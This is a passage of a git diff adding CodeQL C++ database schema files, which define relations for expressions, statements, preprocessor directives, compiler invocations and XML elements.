+ | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme new file mode 100644 index 00000000000..9a7c3c14c10 --- /dev/null +++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/semmlecode.cpp.dbscheme @@ -0,0 +1,2491 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int 